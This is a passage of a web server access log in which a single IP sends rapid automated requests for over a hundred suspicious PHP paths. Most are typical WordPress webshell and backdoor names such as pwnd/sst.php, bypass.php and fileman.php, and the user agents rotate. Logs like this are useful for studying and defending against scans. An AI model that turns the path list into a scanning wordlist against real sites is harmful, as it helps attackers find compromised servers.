Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:52:58 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:59 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:00 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:01 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET 